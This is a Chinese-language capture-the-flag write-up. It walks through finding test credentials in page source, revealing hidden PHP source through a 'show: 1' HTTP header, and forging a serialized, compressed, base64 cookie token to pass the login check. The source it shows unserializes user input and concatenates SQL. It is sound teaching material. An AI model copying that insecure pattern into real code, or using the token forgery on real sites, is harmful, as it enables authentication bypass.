=============================================================
个人收获:
1.多观察网页的源代码
2.多留意http的访问信息
3.多留意http头参数的变化
4.收获了unserialize,gzuncompress参数的认识
===============================================================
题目界面
第一反应是通过burp抓包然后放到sqlmap里面去跑看看有什么有用的信息
自己手测发现页面只会跳出一个error并没有什么有用的信息
然后右键查看源码发现 test1,test1
题主还特地放在很下面 需要滚下去才能看到
然后用test1 test1成功登陆但是页面显示这个
看到这个第一反应就是看源代码然而并没有什么发现,然后通过burp抓包发现在http头里面有一个特别的参数show
这个参数挺可疑的,尝试把show:0(注意英文字符,冒号后面有一个空格)放到请求包里面测试下发现结果还是一样
但是换成了show:1就出现惊喜了
代码如下
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?> -->
对他进行代码审计
发现这段
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
那么login['user']从这段来
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
我们可以发现requset中获取token值然后对它进行unserialize,gzuncompress,base64_decode等一系列操作得到login,
unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值
gzuncompress:解压被压缩的字符串
然后在login中获取键为user的值,如果等于ichunqiu就得出flag
那么我们只要对user:ichunqiu进行一系列逆操作就行
<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>
得出
我们只要在Cookie中填入 token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;在发送过去就能获得flag
注意token前面有个空格,结尾有个分号